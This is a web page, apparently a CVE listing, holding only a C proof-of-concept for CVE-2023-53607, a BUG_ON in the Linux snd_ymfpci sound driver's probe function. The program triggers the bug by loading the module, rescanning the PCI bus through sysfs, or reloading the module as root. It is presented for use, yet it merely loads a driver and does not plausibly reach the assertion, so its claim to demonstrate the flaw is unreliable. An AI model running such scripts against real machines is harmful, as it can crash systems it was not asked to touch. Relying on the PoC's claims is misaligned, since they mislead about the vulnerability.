CVE-2023-53607 Linux内核ALSA ymfpci驱动探测函数BUG_ON漏洞

// CVE-2023-53607 PoC - Trigger BUG_ON in snd_ymfpci probe function // This PoC demonstrates how to trigger the vulnerability by loading the snd_ymfpci module // on a system with a Yamaha PCI sound card (YMF724/YMF740/YMF744/YMF754) #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> /* * Method 1: Direct module loading * Simply loading the snd_ymfpci module will trigger the probe function * which contains the buggy snd_BUG_ON() assertion. */ int trigger_via_modprobe() { printf("Triggering CVE-2023-53607 via modprobe...\n"); // Load the snd_ymfpci module - this will trigger pci_probe -> snd_card_ymfpci_probe -> snd_ymfpci_create int ret = system("modprobe snd-ymfpci 2>&1"); if (ret != 0) { printf("modprobe failed (module may already be loaded or no compatible hardware)\n"); return -1; } printf("Module loaded - check dmesg for BUG_ON warning\n"); return 0; } /* * Method 2: Trigger via sysfs hotplug (if supported) * Some systems allow triggering PCI rescan which will re-probe the device */ int trigger_via_rescan() { printf("Triggering CVE-2023-53607 via PCI rescan...\n"); // Write to PCI rescan sysfs entry to trigger re-probing int fd = open("/sys/bus/pci/rescan", O_WRONLY); if (fd < 0) { perror("open /sys/bus/pci/rescan"); return -1; } write(fd, "1\n", 2); close(fd); printf("PCI rescan triggered - check dmesg for warnings\n"); return 0; } /* * Method 3: Force module reload * If the module is already loaded, remove and reload it */ int trigger_via_reload() { printf("Attempting module reload...\n"); system("rmmod snd_ymfpci 2>/dev/null"); usleep(100000); int ret = system("modprobe snd-ymfpci 2>&1"); if (ret != 0) { printf("Reload failed\n"); return -1; } printf("Module reloaded - check dmesg for BUG_ON warning\n"); return 0; } int main(int argc, char *argv[]) { printf("=== CVE-2023-53607 PoC ===\n"); printf("Linux Kernel ALSA ymfpci BUG_ON in probe function\n\n"); /* Check if running as root (required for module operations) */ if (getuid() != 0) { printf("Warning: This PoC requires root privileges for module operations\n"); printf("Try: sudo %s\n", argv[0]); } /* Check for compatible hardware */ int hwcheck = system("lspci | grep -i 'Yamaha' 2>/dev/null"); if (hwcheck != 0) { printf("No Yamaha PCI sound card detected.\n"); printf("This vulnerability requires YMF724/YMF740/YMF744/YMF754 hardware.\n"); printf("On systems without this hardware, the module load will fail gracefully.\n\n"); } else { printf("Yamaha PCI sound card detected!\n\n"); } /* Try different trigger methods */ if (argc > 1 && strcmp(argv[1], "rescan") == 0) { trigger_via_rescan(); } else if (argc > 1 && strcmp(argv[1], "reload") == 0) { trigger_via_reload(); } else { trigger_via_modprobe(); } printf("\nCheck kernel logs with: dmesg | grep -i 'snd_ymfpci\|BUG_ON'\n"); return 0; }